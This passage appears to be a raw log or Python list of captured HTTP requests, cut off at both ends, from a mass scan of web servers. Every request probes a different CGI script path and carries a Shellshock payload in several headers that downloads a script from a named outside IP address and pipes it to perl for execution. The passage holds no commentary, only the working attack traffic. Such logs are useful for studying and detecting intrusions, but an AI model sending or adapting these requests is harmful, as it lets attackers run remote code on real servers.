perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/handlerHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/guestbook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/gm.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/gm-cplog.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/gm-authors.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/gH.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/getdoc.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/generate.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/gbook/gbook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/gbadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/FormMail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/FormHandler.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/fom/fom.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/fom.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/flexform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/finger.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/FileSeek2.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/FileSeek.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/faqmanager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ezshopper3/loadpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ezshopper2/loadpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ezshopper/search.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ezshopper/loadpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ezman.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ezboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ezadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/environ.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/enter.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/emumail/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/emu/html/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/download.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/directorypro.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/dig.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/diagnose.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/dfire.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/dcforum.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/dbman/db.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/db_manager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/day5datanotifier.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/day5datacopier.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cvsqueryform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cvsquery.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cvslog.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cvsblame.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/csv_db.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/csSearch.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/csPassword/csPassword.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/csPassword.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/csNewsPro.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/csNews.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/CSMailto/CSMailto.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/CSMailto.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/csLiveSupport.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/csGuestBook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/csChatRBox.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/Count.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/compatible.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/common/listrec.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/commerce.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/commandit.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/classifieds/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/classifieds/classifieds.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/classifieds.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/classified.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cgi_processHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cgi.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | 